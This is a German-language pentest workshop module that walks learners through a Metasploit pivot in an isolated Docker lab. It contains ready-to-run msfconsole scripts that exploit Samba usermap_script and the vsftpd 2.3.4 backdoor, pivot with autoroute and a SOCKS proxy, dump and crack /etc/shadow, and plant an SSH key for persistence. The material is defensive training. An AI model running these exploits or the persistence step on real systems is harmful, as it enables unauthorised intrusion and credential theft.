Metasploit — Praktischer Workshop

Sie reproduzieren die Demonstration eigenständig. Drei Container, zwei isolierte Netzwerke, ein Pivot, eine Sitzung auf einem Rechner, den der Angreifer nicht sehen konnte. Das ist Übung 2 der Ausbildung — Abgabe zum Ende von Modul 8.

Zeitaufwand: 2 bis 3 Stunden.

Abgabe: ~/labs/rapport/pivot.md + alle Artefakte in ~/labs/preuves/ + ein reproduzierbares .rc.

Isoliertes Lab

Dieses Lab läuft in einem docker compose mit zwei privaten Netzwerken. Kein Paket verlässt Ihren Rechner. Das interne Netzwerk ist als internal: true markiert, es hat nicht einmal eine Standardroute ins Internet.

Voraussetzungen

Docker Desktop einsatzbereit, Image inskillsec/kali-lab bereits gebaut (siehe Modul 01).

Sonst nichts: Das Compose übernimmt die gesamte Arbeit. Zwei Metasploitable-2-Instanzen werden heruntergeladen, teilen sich aber ihre Docker-Layer — Sie bezahlen den Download nur einmal.

Schritt 1 — Das Lab starten und die Segmentierung prüfen (5 Min.)

cd labs/docker/module-08-metasploit
docker compose up -d

Rechnen Sie mit 45 Sekunden bis 1 Minute, bis die beiden Metasploitable-2-Instanzen ihr services.sh beendet haben. Überprüfen:

cd ..
./verifier-lab.sh module-08-metasploit     # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-08-metasploit    # PowerShell

Betreten Sie den Angreifer-Container:

cd module-08-metasploit
docker compose exec attaquant bash

Und unbedingt die Topologie überprüfen:

ping -c 2 10.20.30.20     # muss antworten (Pivot sichtbar)
ping -c 2 172.16.50.42    # muss FEHLSCHLAGEN (Network is unreachable)

Wenn 172.16.50.42 direkt vom Angreifer aus antwortet, ist das Lab falsch segmentiert — der Pivot hat dann keinen didaktischen Nutzen mehr. Beheben Sie das, bevor Sie fortfahren:

docker compose down -v
docker compose up -d

Legen Sie den Nachweis-Ordner an:

mkdir -p ~/labs/{preuves,rapport,rc}
cd ~/labs

Definition — warum das interne Netzwerk als internal: true markiert ist

Ein klassisches Docker-Netzwerk ist eine Bridge: Container, die daran angeschlossen sind, können standardmäßig über das Docker-Gateway (NAT) ins Internet gelangen. Das ist praktisch für einen Webserver, der externe APIs erreichen muss, aber katastrophal für ein Pivot-Lab: Das versteckte Ziel könnte den Angreifer schlicht per reverse_tcp kontaktieren, und der Pivot hätte keinen Existenzgrund mehr.

Das Flag internal: true in der Netzwerkdefinition entfernt diese Standardroute. Container, die ausschließlich in diesem Netzwerk hängen (wie das versteckte Ziel), können nur andere Mitglieder desselben Netzwerks erreichen. Kein Internet, keine Rückverbindung zum Angreifer, überhaupt kein Ausgang.

Das entspricht dem Verhalten eines korrekt konfigurierten internen Unternehmens-VLANs: Der Datenbankserver ist von den Anwendungs-Frontends aus erreichbar, sollte aber niemals selbst eine ausgehende Verbindung aufbauen. Genau das zwingt den Pentester dazu, einen bind_tcp-Payload zu verwenden (der Pentester verbindet sich mit dem Ziel) statt eines reverse_tcp (das Ziel verbindet sich mit dem Pentester) — der erste Reflex jedes Angreifers, der auf ein wirklich segmentiertes Netzwerk trifft.

Schritt 2 — Initiale RCE auf `cible-pivot` (20 Min.)

Verwenden Sie kein vsftpd: Das war der Port aus Modul 01, den nehmen wir uns nicht noch einmal vor. Wählen Sie samba/usermap_script (schnell, unauffällig, sehr lehrreich) oder distcc_exec (noch einfacher).

Erstellen Sie rc/atelier-1-rce.rc:

workspace -a atelier-m08
workspace atelier-m08

use exploit/multi/samba/usermap_script
set RHOSTS 10.20.30.20
set PAYLOAD cmd/unix/reverse_bash
set LHOST 10.20.30.5
set LPORT 4444
run

Ausführen:

msfconsole -q -r rc/atelier-1-rce.rc | tee preuves/01-rce-initiale.log

Ziel: Command shell session 1 opened. Überprüfen:

sessions -i 1
id
uname -a
hostname

Sie müssen uid=0(root) und hostname=poste-dev lesen. Die Sitzung wird direkt als root geöffnet — der Samba-Dienst läuft als root, die RCE erbt diesen Kontext.

Definition — warum Samba usermap ohne zusätzlichen Aufwand root liefert

Samba 3.0.20 bis 3.0.25rc3 leidet unter einer Schwachstelle (CVE-2007-2447) in der Funktion zur Zuordnung von Benutzernamen. Wenn sich ein Client mit einem Benutzernamen verbindet, der ein Shell-Metazeichen enthält (zum Beispiel ; oder `), übergibt Samba diesen Namen zur Auflösung an eine externe Shell — ohne die Metazeichen zu maskieren. Ergebnis: Jeder beliebige SMB-Client kann auf dem Server beliebige Befehle ausführen.

Der Metasploit-Exploit usermap_script sendet einen Benutzernamen der Form /=, gefolgt vom auszuführenden Befehl. Samba übernimmt diese Zeichenkette, übergibt sie zur „Auflösung" an /bin/sh -c und führt stattdessen den Befehl aus.

Zwei wichtige Details. Samba läuft auf fast allen Systemen als root — das ist notwendig, um POSIX-Berechtigungen zu verwalten und Freigaben wie ein Windows-Server bereitzustellen. Der eingeschleuste Befehl wird also als root ausgeführt, nicht mit einem eingeschränkten Dienstkonto. Es ist keine Authentifizierung erforderlich: Die Schwachstelle liegt in der Zuordnung des Benutzernamens, die vor der Passwortprüfung stattfindet. Ein Benutzer mit einem falschen oder leeren Passwort löst den Exploit trotzdem aus.

Deshalb ist diese Schwachstelle so katastrophal und hat Metasploitable 2 zu einem festen Bestandteil der Kultur gemacht: zwei Befehlszeilen, kein Passwort, root in drei Sekunden. Genau deshalb findet man sie in der Produktion auch nie mehr — eine der ältesten tatsächlich gepatchten CVEs.

Schritt 3 — Die Sitzung zu Meterpreter upgraden (5 Min.)

Eine cmd/unix-Sitzung ist nützlich, aber stark eingeschränkt. Metasploit bietet mit Meterpreter eine deutlich reichhaltigere Engine, die eine interaktive Shell, Forwarding, Dateiübertragung und vor allem das Tunneling bereitstellt, das wir für den Pivot benötigen.

Legen Sie in msfconsole Sitzung 1 in den Hintergrund (background) und dann:

sessions -u 1

Metasploit lädt eine Linux-Meterpreter-Binärdatei auf das Ziel hoch und erstellt eine Sitzung 2 vom Typ Meterpreter.

Überprüfen:

sessions

Sie müssen sehen:

  Id  Name  Type                     Information       Connection
  --  ----  ----                     -----------       ----------
  1         shell cmd/unix           uid=0(root)       10.20.30.5:4444 -> 10.20.30.20
  2         meterpreter x86/linux    root @ poste-dev  10.20.30.5:xxxx -> 10.20.30.20

Speichern:

sessions -i 2
sysinfo
getuid
ifconfig

Notieren Sie sich sorgfältig die interne Schnittstelle: Das Pivot-Ziel ist auch unter 172.16.50.20 erreichbar — dieser Pfad wird für den Pivot verwendet.

Wechseln Sie mit background in den Hintergrund und protokollieren Sie den Vorgang:

spool preuves/02-upgrade.log
sessions
spool off

Schritt 4 — Die Route öffnen (autoroute) (5 Min.)

Das ist die zentrale Aktion dieses Moduls. Metasploit leitet den gesamten für 172.16.50.0/24 bestimmten Datenverkehr über die Meterpreter-Sitzung auf dem Pivot-Ziel. Der Pivot wird zu einem für den Angreifer transparenten Tunnel.

use post/multi/manage/autoroute
set SESSION 2
set SUBNET 172.16.50.0
set NETMASK 255.255.255.0
run

route print

Erwartete Ausgabe von route print:

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   172.16.50.0        255.255.255.0      Session 2

Speichern unter preuves/03-autoroute.log.

Definition — autoroute ist KEIN Kernel-Routing

Wenn man „autoroute" hört, denkt man an ip route add. Das ist überhaupt nicht das, was Metasploit tut. Der Befehl autoroute fasst niemals die Routing-Tabelle des Linux-Kernels von Kali an. Er trägt eine Route ausschließlich in die interne Tabelle von Metasploit ein — ein Ruby-Dictionary, das besagt: „Für dieses Subnetz sende die Pakete über diese Meterpreter-Sitzung."

Konkret: Wenn ein späteres Metasploit-Modul versucht, 172.16.50.42 zu kontaktieren, sieht das Framework in seiner internen Tabelle, dass dieses Subnetz über Sitzung 2 läuft. Es kapselt den Datenverkehr (TCP auf Anwendungsebene) in die Meterpreter-Sitzung, sendet alles an poste-dev, das entkapselt und die eigentliche Verbindung von seiner Schnittstelle 172.16.50.20 aus aufbaut. Die Antwort legt den umgekehrten Weg zurück.

Zwei wichtige Konsequenzen. Kein Metasploit-externes Tool nutzt diese Route — nmap außerhalb von msfconsole ignoriert autoroute vollständig. Für die gemeinsame Nutzung dieses Pfads mit Drittanbieter-Tools braucht es einen SOCKS-Proxy (Schritt 8). Und das Pivot-Ziel benötigt kein auf Kernel-Ebene aktiviertes IP-Forwarding, anders als bei einem echten Systempivot. Die Meterpreter-Sitzung übernimmt die Rolle des Forwarders auf Anwendungsebene.

Deshalb bricht auch der gesamte Pivot zusammen, wenn Sitzung 2 stirbt. Speichern Sie regelmäßig, stellen Sie bei Bedarf wieder her.

Schritt 5 — Das interne Netzwerk scannen (10 Min.)

In msfconsole, mit eingerichteter Autoroute:

use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.50.0/24
set PORTS 21,22,80,139,445,3306,3632,5900,8180
set THREADS 20
run

Sie finden 172.16.50.42 mit seinen offenen Ports wieder. Bestätigen Sie die Art des Ziels:

use auxiliary/scanner/smb/smb_version
set RHOSTS 172.16.50.42
run

Erwartet: Host: SERVEUR-BDD Samba 3.X - 4.X. Das versteckte Ziel ist eine weitere Metasploitable-2-Instanz — gleiches Profil, gleiche Schwachstellen.

Speichern unter preuves/04-scan-interne.log.

Schritt 6 — Das versteckte Ziel ausnutzen (15 Min.)

Payload zwingend erforderlich: bind_tcp. Das versteckte Ziel befindet sich in einem internal: true-Netzwerk, es kann keine Verbindung zum Angreifer aufbauen. Ein reverse_tcp würde genau aus diesem Grund scheitern.

Um nicht erneut usermap_script zu verwenden (bereits in Schritt 2 genutzt), nehmen wir die vsftpd-2.3.4-Backdoor:

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 172.16.50.42
set PAYLOAD cmd/unix/interact
run

Das Modul vsftpd_234_backdoor benötigt keinen zusätzlichen Payload — die Backdoor ist eine root-Shell, die nach der Authentifizierung auf Port 6200 geöffnet wird.

Überprüfen:

sessions -i 3
id
uname -a
hostname

Sie müssen uid=0(root) auf serveur-bdd lesen. Sie haben die Kontrolle über einen Rechner, der Ihre IP nie gesehen hat.

Speichern unter preuves/05-exploitation-cachee.log.

Definition — bind_tcp vs. reverse_tcp, die Nebelwand der Firewall

In Metasploit bedeutet reverse_tcp: „Das Ziel verbindet sich mit dem Angreifer." Der Angreifer startet einen Handler, der auf seinem eigenen Port lauscht, der Payload auf dem Ziel weiß, wo er den Angreifer erreicht, und die Verbindung wird in diese Richtung aufgebaut. Das ist das Standardverhalten der meisten Metasploit-Payloads, und es funktioniert in Umgebungen, in denen das Ziel frei nach außen kann — die Firewall des Ziels erlaubt in der Regel ausgehende Verbindungen.

bind_tcp macht das Gegenteil: Der Payload öffnet auf dem Ziel einen lauschenden Port, der Angreifer verbindet sich mit diesem Port. Das funktioniert, wenn das Ziel erreichbar ist, aber selbst keinen Datenverkehr zum Angreifer initiieren kann — genau der Fall eines internen Servers hinter einer Firewall, die nur eingehenden Verkehr erlaubt.

In einem gut aufgebauten Lab lehrt das Testen beider Varianten viel. Ein reverse_tcp, der bei Started reverse TCP handler hängen bleibt, ohne je zum Abschluss zu kommen, ist fast immer ein Firewall-Problem auf dem Rückweg. Ein bind_tcp, das mit connection refused scheitert, bedeutet, dass der Port bereits belegt ist oder der Dienst sein Socket noch nicht geöffnet hat.

In der beruflichen Praxis probiert man zuerst reverse_tcp (unauffälliger, das Ziel verhält sich wie ein Client, was üblich ist). Man wechselt erst zu bind_tcp, wenn sicher ist, dass der Rückweg blockiert ist. In einer echten Unternehmensumgebung gelingt bind_tcp in weniger als der Hälfte der Fälle — IDS-Systeme bemerken oft, dass ein Server plötzlich einen neuen lauschenden Port öffnet.

Schritt 7 — Extraktion und Knacken (15 Min.)

Auf der Meterpreter-Sitzung (oder Shell) des versteckten Ziels:

sessions -i 3
cat /etc/shadow

Kopieren Sie den Inhalt in eine lokale Datei:

# Von msfconsole aus, in einem Nebenterminal:
sessions -i 3 -C "cat /etc/shadow" > /tmp/shadow.txt

Oder sauberer, von einer Host-Shell des Angreifer-Containers aus:

# In einem neuen Terminal: docker compose exec attaquant bash
cat > /tmp/pull-shadow.rc <<'EOF'
sessions -C "cat /etc/shadow" -i 3
EOF
msfconsole -q -r /tmp/pull-shadow.rc | tail -n 20 > preuves/06-shadow-brut.txt

# Bereinigen, um nur die Hashes zu behalten
grep -E '^\w+:\$' preuves/06-shadow-brut.txt > preuves/06-shadow.txt

Mit John knacken:

john --wordlist=/usr/share/wordlists/rockyou.txt preuves/06-shadow.txt
john --show preuves/06-shadow.txt > preuves/06-passwords.txt

Ziel: mindestens ein geknacktes Passwort. Auf Metasploitable 2 fällt msfadmin:msfadmin in drei Sekunden, user:user genauso schnell.

Definition — /etc/shadow und warum hashcat bei MD5-crypt-Hashes praktisch sofort fertig ist

/etc/shadow ist die Linux-Datei, die die Passwort-Hashes der Benutzer speichert. Sie ist nur für root lesbar — deshalb ist eine root-Shell für die Extraktion so wichtig. Jede Zeile folgt dem Format benutzer:hash:..., wobei das Feld hash mit $1$ für MD5-crypt, $5$ für SHA-256-crypt, $6$ für SHA-512-crypt oder $y$ für Yescrypt (moderne Linux-Systeme) beginnt.

Auf Metasploitable 2 verwenden die Hashes $1$ (MD5-crypt, aus dem Jahr 2001). Auf einer bescheidenen GPU von 2020 testet hashcat Milliarden Kandidaten pro Sekunde gegen MD5-crypt — ein Wörterbuch wie rockyou.txt (14 Millionen Zeilen) ist in weniger als einer Minute durch. Alle schwachen Passwörter fallen.

Auf einem aktuellen System mit $y$ (Yescrypt) dauert derselbe Angriff mit derselben Liste Stunden. Die Stärke des Hash-Verfahrens zählt genauso viel wie die Stärke des Passworts. Deshalb ist das Auditieren eines aktuellen /etc/shadow auch langsamer — und das ist eine gute Nachricht: Schwache Passwörter fallen auch dort, nur später.

Zwei Dinge bleiben konstant. Ein an den Kontext angepasstes Wörterbuch (Wörter der Landessprache + Firmennamen + Jahreszahl als Suffix) knackt mehr Konten als ein roher rockyou-Lauf. Und das Vorhandensein eines Salts (das Feld nach $1$ ) macht jeden Hash einzigartig — eine Vorberechnung lässt sich nicht wiederverwenden, jedes Konto erfordert eigene Arbeit.

Schritt 8 — SOCKS-Proxy für externe Tools (15 Min.)

Die Metasploit-Autoroute teilt nichts mit der Außenwelt. Damit auch netexec, nmap oder curl über den Pivot laufen können, öffnen wir in msfconsole einen SOCKS-Proxy:

use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
run -j

Konfigurieren Sie /etc/proxychains4.conf auf dem Angreifer:

sudo sed -i 's|^socks.*1080|socks5  127.0.0.1 1080|' /etc/proxychains4.conf
grep '^socks' /etc/proxychains4.conf

Testen:

proxychains nxc smb 172.16.50.42 -u msfadmin -p msfadmin > preuves/07-nxc-proxychains.log 2>&1
cat preuves/07-nxc-proxychains.log

Ziel: die abschließende Zeile [+] WORKGROUP\msfadmin:msfadmin (Pwn3d!) — Sie haben ein externes Tool (netexec) auf dem versteckten Ziel authentifiziert, indem Sie über den Metasploit-Pivot gegangen sind, ohne auch nur eine Kernel-Route zu 172.16.50.0/24 zu besitzen.

Weitere nützliche Beispiele:

proxychains nmap -sT -Pn -p 21,22,80,445 172.16.50.42 -oN preuves/07-nmap-through-pivot.txt
proxychains curl -s http://172.16.50.42/ | head -n 30

Definition — SOCKS-Proxy vs. HTTP-Proxy vs. Port-Forwarding

Drei unterschiedliche Mechanismen dienen oft demselben Bedürfnis — Datenverkehr über einen Mittler zu leiten —, verhalten sich aber nicht gleich.

Ein HTTP-Proxy kennt nur HTTP und HTTPS (über CONNECT). Er untersucht die Header der Anfrage, kann URLs interpretieren, kann Filterung auf Anwendungsebene vornehmen. Burp ist ein HTTP-Proxy. Das funktioniert nicht für SSH, SMB oder ein anderes Nicht-HTTP-Protokoll.

Ein Port-Forwarding (zum Beispiel ssh -L 8080:172.16.50.42:80) erzeugt einen sehr spezifischen Tunnel: ein Portpaar (Quelle → Ziel) und nichts weiter. Man muss Ziel und Port im Voraus kennen, und pro Dienst braucht es ein eigenes Port-Forwarding.

Ein SOCKS-Proxy (v5) ist protokollunabhängig. Der Client sendet vor dem Verbindungsaufbau eine Meta-Anfrage an den Proxy nach dem Motto „ich möchte IP X auf Port Y erreichen". Der Proxy baut die Verbindung für ihn auf und leitet jedes Byte in beide Richtungen weiter. Das funktioniert für jedes beliebige TCP-Protokoll — SSH, SMB, HTTP, RPC. Genau das braucht man, wenn noch nicht feststeht, welche Ports auf dem Ziel angesprochen werden sollen.

Metasploit stellt genau das mit auxiliary/server/socks_proxy bereit. Kombiniert mit proxychains auf Angreiferseite lässt sich jeder beliebige CLI-Befehl über den Pivot leiten. Das ist das universelle Muster des internen Pentests: Meterpreter für den ersten Fuß in der Tür, SOCKS für alles Weitere.

Schritt 9 — Das vollständige `.rc`-Skript (10 Min.)

Konsolidieren Sie das Ganze in rc/atelier-complet.rc. Die Schritte, die eine Interaktion erfordern (Sitzungs-Upgrade, Auswahl der interaktiven Sitzung), bleiben manuell; skriptet wird, was sich skripten lässt.

workspace -a atelier-m08
workspace atelier-m08

# --- Phase 1: Initiale RCE ---
use exploit/multi/samba/usermap_script
set RHOSTS 10.20.30.20
set PAYLOAD cmd/unix/reverse_bash
set LHOST 10.20.30.5
set LPORT 4444
run

rc/atelier-pivot.rc:

workspace atelier-m08
route add 172.16.50.0/24 <ID-METERPRETER>
route print

use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.50.0/24
set PORTS 21,22,80,139,445,3306
set THREADS 20
run

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 172.16.50.42
set PAYLOAD cmd/unix/interact
run

use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
run -j

Ersetzen Sie <ID-METERPRETER> nach dem Upgrade durch die tatsächliche ID. Ausführen:

msfconsole -q -r rc/atelier-complet.rc
# ... manuelles Upgrade über sessions -u 1 ...
# ... ID der Meterpreter-Sitzung notieren ...
# rc/atelier-pivot.rc bearbeiten, um die ID einzutragen, dann:
msfconsole -q -r rc/atelier-pivot.rc

Schritt 10 — Der Bericht (30 Min.)

~/labs/rapport/pivot.md — zwei Seiten, feste Struktur:

# Interner Pentest mit Pivot — Modul 08 (Datum)

## 1. Management Summary (max. 5 Zeilen)
Zwei kompromittierte Hosts in einem isolierten internen Segment. Das
versteckte Ziel (serveur-bdd, 172.16.50.42), nur vom kompromittierten
Entwicklungsrechner aus erreichbar, gab sein /etc/shadow preis. Zwei
lokale Konten in weniger als einer Minute geknackt. Auswirkung:
vollständiger administrativer Zugriff auf die Datenbank ausgehend von
einem nicht authentifizierten Startpunkt im externen Netzwerk.

## 2. Technischer Rahmen
- Externes Netzwerk: 10.20.30.0/24, Angreifer 10.20.30.5, Pivot-Ziel .20
- Internes Netzwerk: 172.16.50.0/24, verstecktes Ziel .42
- Werkzeuge: Metasploit 6.x, hashcat/john, netexec, proxychains4.
- Segmentierung vor dem Start überprüft (Ping vom Angreifer zum
  versteckten Ziel schlägt fehl).

## 3. Ausnutzungskette
1. Initiale RCE auf cible-pivot über Samba usermap (CVE-2007-2447),
   sofortige root-Sitzung.
2. Upgrade cmd-Shell → Meterpreter x86/linux.
3. Metasploit-Autoroute für 172.16.50.0/24 über die Meterpreter-Sitzung.
4. Interner Scan portscan/tcp, Entdeckung von 172.16.50.42.
5. Bestätigung von Metasploitable 2 auf dem versteckten Ziel (smb_version).
6. Ausnutzung der vsftpd-2.3.4-Backdoor mit Bind-Payload (zwingend
   erforderlich: isoliertes internes Netzwerk, kein Reverse möglich).
7. Extraktion von /etc/shadow, Knacken mit john -> msfadmin, user.
8. Öffnung eines SOCKS5-Proxys, Validierung über netexec/proxychains.

## 4. Nachweise (~/labs/preuves/)
- 01-rce-initiale.log
- 02-upgrade.log
- 03-autoroute.log
- 04-scan-interne.log
- 05-exploitation-cachee.log
- 06-shadow.txt, 06-passwords.txt
- 07-nxc-proxychains.log, 07-nmap-through-pivot.txt

## 5. Auswirkung
Vollständige Kompromittierung beider Rechner. Das root-Konto auf dem
internen, vom Internet aus unzugänglichen Ziel wurde erlangt, ohne dass
zu Beginn irgendein Passwort bekannt war. Die Kette dauert nach
Beherrschung 15 Minuten.

## 6. Empfehlungen
1. Sofortiges Patchen von Samba (CVE-2007-2447) und vsftpd (Backdoor
   2.3.4).
2. Verstärkte Segmentierung: Der Entwicklungsrechner sollte keinen
   Zugang zum internen Servernetzwerk haben.
3. /etc/shadow isolieren — uid=0-Konten auditieren, die dies nicht
   benötigen.
4. Passwortrichtlinie verschärfen (msfadmin/msfadmin und vergleichbar
   schwache Kombinationen verhindern).
5. Erkennung: Aktivierungen interner SOCKS-Listener und
   Metasploit-Autoroute-Muster im EDR überwachen.

## 7. Anhänge
- rc/atelier-complet.rc
- rc/atelier-pivot.rc

Selbstbewertungsraster

Was in der Regel klemmt

Symptom	Ursache	Korrektur
Sitzung 1 stirbt sofort	`cible-pivot` noch nicht bereit	30 s warten, `docker compose logs cible-pivot` prüfen.
`sessions -u` schlägt fehl	Anfänglicher Payload nicht kompatibel	Mit `cmd/unix/reverse_bash` erneut versuchen, zuverlässiger für das Upgrade.
`route add`: Route already exists	Route aus einem vorherigen Lauf noch vorhanden	`route flush`.
Interner Scan findet nichts	Meterpreter-Sitzung tot	`sessions`, prüfen, ob die Linux-Sitzung noch lebt. Bei Bedarf neu starten.
`bind_tcp` verweigert	Bind-Port bereits belegt	`LPORT` ändern, z. B. 4455 statt 4444.
Autoroute + `nxc`: no route to host	SOCKS-Proxy in msfconsole nicht geöffnet	Mit `run -j` auf `auxiliary/server/socks_proxy` öffnen.
John knackt nichts	Rockyou nicht die richtige Quelle	Am Ende des Workshops auch `john --incremental` versuchen — knackt `user` und `service` in wenigen Sekunden.
`docker compose down -v` gibt 4444 nicht frei	Metasploit-Handler noch aktiv	msfconsole vor `down` sauber beenden.

Optionale Erweiterung — Persistenz

Achtung: Bei einem Kundenauftrag ist Persistenz durch die RoE stark eingeschränkt. Im Lab führen wir sie durch, um den Mechanismus zu verstehen, und entfernen sie anschließend wieder.

Auf der Linux-Meterpreter-Sitzung (Sitzung 2):

run post/linux/manage/sshkey_persistence -u root

Metasploit legt Ihren öffentlichen Schlüssel in /root/.ssh/authorized_keys auf dem Pivot-Ziel ab. Nach einem vollständigen Neustart des Containers können Sie direkt per SSH zurückkehren.

Zur Überprüfung:

docker compose exec attaquant bash
ssh root@10.20.30.20  # muss Ihren Schlüssel ohne Passwort akzeptieren

Zum Aufräumen, in einer Sitzung auf dem Ziel:

sed -i '/pentester@kali/d' /root/.ssh/authorized_keys

Im echten Pentest: Dieser Eingriff erzeugt eine Backdoor — er muss im Bericht dokumentiert und vor Ende des Auftrags entfernt werden. Ein Pentester, der einen SSH-Schlüssel auf einem Kundenrechner vergisst, wird kein zweites Mal beauftragt.

Was Sie aus diesem Workshop mitnehmen

Das anschauliche Verständnis eines Pivots: was der Angreifer sieht im Vergleich zu dem, was das kompromittierte Ziel sieht.
Einen reproduzierbaren End-to-End-Workflow, vom ersten Scan bis zur Extraktion von Zugangsdaten.
Eine Sammlung von .rc-Skripten, die die Kette erneut abspielt.
Die Beherrschung des Paares bind_tcp / reverse_tcp — der erste Reflex im Umgang mit einem wirklich segmentierten Netzwerk.
Das Verständnis des Musters Meterpreter + SOCKS-Proxy + proxychains, das der Standard des modernen internen Pentests ist.
Einen internen Pentest-Bericht im 2-Seiten-Format, übertragbar in eine Kundenpräsentation.

Nächster Schritt: das Quiz des Moduls. Danach geht es weiter mit Modul 9 — Rechteausweitung —, in dem Sie sich angewöhnen, auf allen gängigen Plattformen von einem Benutzerkonto zu root zu wechseln.

Voraussetzungen​

Schritt 1 — Das Lab starten und die Segmentierung prüfen (5 Min.)​

Schritt 2 — Initiale RCE auf cible-pivot (20 Min.)​

Schritt 3 — Die Sitzung zu Meterpreter upgraden (5 Min.)​

Schritt 4 — Die Route öffnen (autoroute) (5 Min.)​

Schritt 5 — Das interne Netzwerk scannen (10 Min.)​

Schritt 6 — Das versteckte Ziel ausnutzen (15 Min.)​

Schritt 7 — Extraktion und Knacken (15 Min.)​

Schritt 8 — SOCKS-Proxy für externe Tools (15 Min.)​

Schritt 9 — Das vollständige .rc-Skript (10 Min.)​

Schritt 10 — Der Bericht (30 Min.)​

Selbstbewertungsraster​

Was in der Regel klemmt​

Optionale Erweiterung — Persistenz​

Was Sie aus diesem Workshop mitnehmen​